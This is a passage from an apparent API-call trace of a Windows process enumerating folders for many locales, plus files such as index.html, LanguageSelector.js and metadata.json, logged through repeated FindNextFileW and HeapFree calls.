ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0261.980] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.980] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-XF", cAlternateFileName="")) returned 1 [0261.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.987] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl-ES", cAlternateFileName="")) returned 1 [0261.998] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.998] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0262.301] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.301] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0262.303] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.303] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0262.306] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.306] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0262.308] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.308] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0262.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.311] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0262.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.313] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0262.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.314] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageSelector.js", cAlternateFileName="LANGUA~1.JS")) returned 1 [0262.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.319] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0262.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.328] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0262.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.330] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata.json", cAlternateFileName="METADA~1.JSO")) returned 1 [0262.335] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.335] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0262.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.338] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1 [0262.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.352] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0262.358] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.358] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1 [0262.364] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.364] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0262.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.370] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0262.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.377] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0262.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.378] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0262.383] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.384] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0262.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.397] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0262.400] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.400] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0262.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.797] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0262.800] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.801] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0262.803] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.803] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0262.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.806] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0262.808] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.808] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0262.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.811] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0262.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.814] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1 [0262.816] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.816] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0262.818] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.818] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0262.821] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.821] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0262.823] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0262.823] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0262.823] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0262.824] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0262.824] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1 [0262.824] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0262.826] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0 [0262.826] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0262.826] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0262.826] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0 [0262.827] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0262.827] HeapFree (in: 